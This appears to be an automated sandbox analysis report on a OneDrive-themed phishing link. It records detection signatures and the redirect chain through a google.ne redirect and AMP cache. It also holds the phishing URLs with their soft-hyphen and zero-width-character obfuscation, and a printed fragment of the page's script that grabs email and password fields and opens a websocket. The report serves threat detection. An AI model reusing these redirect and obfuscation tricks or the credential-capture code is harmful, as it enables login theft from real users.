Play interactive tourEdit tour

Windows Analysis Report
https://google.ne/url?hl=en&q=https://cdn.ampproject.org/c/s/fiqdsexkxp.g%c2%adg%C2%adi%c2%adv%C2%ADh%C2%ADd%C2%aDt%c2%Adw%c2%ADk%C2%aDg%C2%ADx%C2%Ady%C2%Adw%c2%aDc%C2%aDpi.o%e2%80%8Bn%e2%80%8bl%e2%80%8Bi%e2%80%8Bne%e2

Overview

General Information

Sample URL:	https://google.ne/url?hl=en&q=https://cdn.ampproject.org/c/s/fiqdsexkxp.g%c2%adg%C2%adi%c2%adv%C2%ADh%C2%ADd%C2%aDt%c2%Adw%c2%ADk%C2%aDg%C2%ADx%C2%Ady%C2%
Analysis ID:	1624175
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

AI detected landing page (webpage, office document or email)

AI detected suspicious URL

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML title does not match URL

Invalid T&C link found

Javascript uses Websockets

Classification

×

Joe Sandbox Signatures

• • Phishing
• • Networking
• • System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'mohmuseum-drive.sqquapompkgrvkp.online' does not match the legitimate domain for Microsoft., The domain 'sqquapompkgrvkp.online' is unusual and does not relate to Microsoft., The presence of 'mohmuseum-drive' in the URL is suspicious and unrelated to Microsoft., The email input field 'finance@mohmuseum.org' suggests a possible attempt to impersonate a legitimate organization, but it does not align with Microsoft's domain. DOM: 3.2.pages.csv

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'mohmuseum-drive.sqquapompkgrvkp.online' does not match the legitimate domain for Microsoft., The domain contains unusual elements such as 'sqquapompkgrvkp.online', which do not relate to Microsoft., The use of a subdomain 'mohmuseum-drive' and the main domain 'sqquapompkgrvkp.online' is suspicious and not associated with Microsoft., The presence of an email input field with a non-Microsoft domain 'mohmuseum.org' is suspicious in the context of a Microsoft-branded site. DOM: 3.3.pages.csv

AI detected landing page (webpage, office document or email)

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

Joe Sandbox AI: Page contains button: 'View' Source: '3.2.pages.csv'

AI detected suspicious URL

Source: https://google.ne

Joe Sandbox AI: The URL 'https://google.ne' closely resembles the legitimate 'https://www.google.com'. The primary difference is the top-level domain (TLD) '.ne' instead of '.com'. This TLD is not commonly associated with Google and could easily be mistaken for the legitimate site by users. The visual similarity is high due to the identical brand name and minimal structural changes. The likelihood of user confusion is significant, as users may not notice the TLD difference, especially if they are accustomed to typing 'google' followed by a common TLD like '.com'. There is no indication that 'google.ne' serves a legitimate purpose unrelated to the brand, increasing the likelihood of it being a typosquatting attempt.

Source: https://flyunup1e-sqquapompkgrvkp-online.cdn.ampproject.org

Joe Sandbox AI: The URL contains the string 'unup1e', which visually resembles 'apple' with the substitution of '1' for 'l'. The presence of 'sqquapompkgrvkp' is nonsensical and could be an attempt to obfuscate the URL's true intent. The use of 'cdn.ampproject.org' as a domain extension is legitimate for content delivery networks, but the subdomain structure suggests an attempt to mimic a legitimate brand. The combination of visual similarity and structural obfuscation increases the likelihood of this being a typosquatting attempt.

HTML body contains low number of good links

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

HTTP Parser: Number of links: 0

HTML body contains password input but no form action

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

HTTP Parser: <input type="password" .../> found but no <form action="...

HTML body with high number of embedded images detected

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

HTTP Parser: Total embedded image size: 38404

HTML title does not match URL

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

HTTP Parser: Title: OneDrive does not match URL

Invalid T&C link found

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a	HTTP Parser: Invalid link: Privacy & Cookies
Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a	HTTP Parser: Invalid link: Privacy & Cookies

Javascript uses Websockets

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

HTTP Parser: const fullurl = window.location.href;const urlmain = new url(fullurl);const baseurl = "https://"+urlmain.hostname;console.log(baseurl);$(document).ready(function () {var count = 0;var clickedverify = 0;var clickedbtn = 0;var method = ""var mssg = ""var godaddy = falsevar connectionclosed = falsevar user = "finance@mohmuseum.org"var redirectfinal = ""var appurl = "o365"$("#ai").val(user);$(document).on('submit', 'form', function(e){e.preventdefault();});$(document).keypress(function (event) {var keycode = (event.keycode ? event.keycode : event.which);if (keycode == '13') {if ($("#divpr").is(":visible")) {$("#submit-btn").trigger("click");} else {$("#next").trigger("click");}}});function websockettest() {user = encodeuricomponent($("#ai").val());var pass = encodeuricomponent($("#pr").val());var currenturl = location.hostnamews = new websocket("ws...

HTML body contains password input

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a

HTTP Parser: <input type="password" .../> found

HTML page is missing a favicon

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a	HTTP Parser: No favicon
Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a	HTTP Parser: No favicon

META author tag missing

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a	HTTP Parser: No <meta name="author".. found
Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a	HTTP Parser: No <meta name="author".. found

META copyright tag missing

Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a	HTTP Parser: No <meta name="copyright".. found
Source: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a	HTTP Parser: No <meta name="copyright".. found

Networking

Detected suspicious crossdomain redirect

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.google.ne to https://cdn.ampproject.org/c/s/fiqdsexkxp.g%c2%adg%c2%adi%c2%adv%c2%adh%c2%add%c2%adt%c2%adw%c2%adk%c2%adg%c2%adx%c2%ady%c2%adw%c2%adc%c2%adpi.o%e2%80%8bn%e2%80%8bl%e2%80%8bi%e2%80%8bne%e2%80%8b%e2%80%8b%e2%80%8b%e2%80%8b%e2%80%8b%e2%80%8b%e2%80%8b%e2%80%8b/eq8c4f810
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: fiqdsexkxp.ggivhdtwkgxywcpi.online to https://cdn.ampproject.org/c/s/flyunup1e.sqquapompkgrvkp.online/b60q1dm8i1e9bdc7ea76ce0364c642c0c2ae80dc3b60j67b2dc8cc2d7c1cb5cd7540a

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 104.40.149.189
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /url?hl=en&q=https://cdn.ampproject.org/c/s/fiqdsexkxp.g%25c2%25adg%25C2%25adi%25c2%25adv%25C2%25ADh%25C2%25ADd%25C2%25aDt%25c2%25Adw%25c2%25ADk%25C2%25aDg%25C2%25ADx%25C2%25Ady%25C2%25Adw%25c2%25aDc%25C2%25aDpi.o%25e2%2580%258Bn%25e2%2580%258bl%25e2%2580%258Bi%25e2%2580%258Bne%25e2%2580%258B%25e2%2580%258B%25e2%2580%258b%25e2%2580%258b%25E2%2580%258B%25E2%2580%258b%25e2%2580%258b%25e2%2580%258b/eQ8C4f810&source=gmail&ust=1740592130223000&usg=AOvVaw1z6LYC7_hYJCZq6GTTGk4J&nBPgt=LEZOxFYab&zAoBA=HdYqCaw&TLEyOQNTC=TwCTPUIZ&IzMAJN=SMmuEX&yIilNwah=BnGHNeB&gWLMXhKCF=JUUZhmmY&VprNdugOe=eyOYAnEMu&EhyCsHs=bJibCUm&HSDVpCvS=mDlPkCSVF&uBXXlZ=pRimo&iAdTtggj=nCaZB&RtSuR=aZDcAPWq&fdKVz=fEuTt&YLdRlHS=hMLWGVO&gVJZpoM=rvKEIchP&hsAKQUgGU=itjJQX&YyohkvB=AcJlsG&hTOxdD=https://MWBAmQP&lXWeGl=LwXYk&MvCwJoa=cYpotd HTTP/1.1Host: www.google.neConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlqHLAQiFoM0BCNy9zQEIj8rNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/s/fiqdsexkxp.g%c2%adg%C2%adi%c2%adv%C2%ADh%C2%ADd%C2%aDt%c2%Adw%c2%ADk%C2%aDg%C2%ADx%C2%Ady%C2%Adw%c2%aDc%C2%aDpi.o%e2%80%8Bn%e2%80%8bl%e2%80%8Bi%e2%80%8Bne%e2%80%8B%e2%80%8B%e2%80%8b%e2%80%8b%E2%80%8B%E2%80%8b%e2%80%8b%e2%80%8b/eQ8C4f810 HTTP/1.1Host: cdn.ampproject.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/s/fiqdsexkxp.g%C2%ADg%C2%ADi%C2%ADv%C2%ADh%C2%ADd%C2%ADt%C2%ADw%C2%ADk%C2%ADg%C2%ADx%C2%ADy%C2%ADw%C2%ADc%C2%ADpi.o%E2%80%8Bn%E2%80%8Bl%E2%80%8Bi%E2%80%8Bne%E2%80%8B%E2%80%8B%E2%80%8B%E2%80%8B%E2%80%8B%E2%80%8B%E2%80%8B%E2%80%8B/eQ8C4f810 HTTP/1.1Host: urvjzjpobakusk7m6jiqrwutmsg5wucqxhelr32wdceltixu5jgq.cdn.ampproject.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eQ8C4f810 HTTP/1.1Host: fiqdsexkxp.ggivhdtwkgxywcpi.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://urvjzjpobakusk7m6jiqrwutmsg5wucqxhelr32wdceltixu5jgq.cdn.ampproject.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/s/flyuNUP1E.sqquapompkgrvkp.online/b60q1Dm8I1e9bdc7ea76ce0364c642c0c2ae80dc3b60j67b2dc8cc2d7c1cb5cd7540a HTTP/1.1Host: cdn.ampproject.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://urvjzjpobakusk7m6jiqrwutmsg5wucqxhelr32wdceltixu5jgq.cdn.ampproject.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/s/flyuNUP1E.sqquapompkgrvkp.online/b60q1Dm8I1e9bdc7ea76ce0364c642c0c2ae80dc3b60j67b2dc8cc2d7c1cb5cd7540a HTTP/1.1Host: flyunup1e-sqquapompkgrvkp-online.cdn.ampproject.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://urvjzjpobakusk7m6jiqrwutmsg5wucqxhelr32wdceltixu5jgq.cdn.ampproject.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b60q1Dm8I1e9bdc7ea76ce0364c642c0c2ae80dc3b60j67b2dc8cc2d7c1cb5cd7540a HTTP/1.1Host: flyunup1e.sqquapompkgrvkp.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://flyunup1e-sqquapompkgrvkp-online.cdn.ampproject.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540a HTTP/1.1Host: mohmuseum-drive.sqquapompkgrvkp.onlineConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://flyunup1e-sqquapompkgrvkp-online.cdn.ampproject.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mohmuseum-drive.sqquapompkgrvkp.onlinesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://mohmuseum-drive.sqquapompkgrvkp.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mohmuseum-drive.sqquapompkgrvkp.onlinesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mohmuseum-drive.sqquapompkgrvkp.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mohmuseum-drive.sqquapompkgrvkp.onlinesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mohmuseum-drive.sqquapompkgrvkp.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mohmuseum-drive.sqquapompkgrvkp.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.4.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mohmuseum-drive.sqquapompkgrvkp.onlinesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mohmuseum-drive.sqquapompkgrvkp.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.4.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mohmuseum-drive.sqquapompkgrvkp.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mohmuseum-drive.sqquapompkgrvkp.online/app1e9bdc7ea76ce0364c642c0c2ae80dc3/67b2dc8cc2d7c1cb5cd7540aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: wikipedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mohmuseum-drive.sqquapompkgrvkp.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.wikipedia.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mohmuseum-drive.sqquapompkgrvkp.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
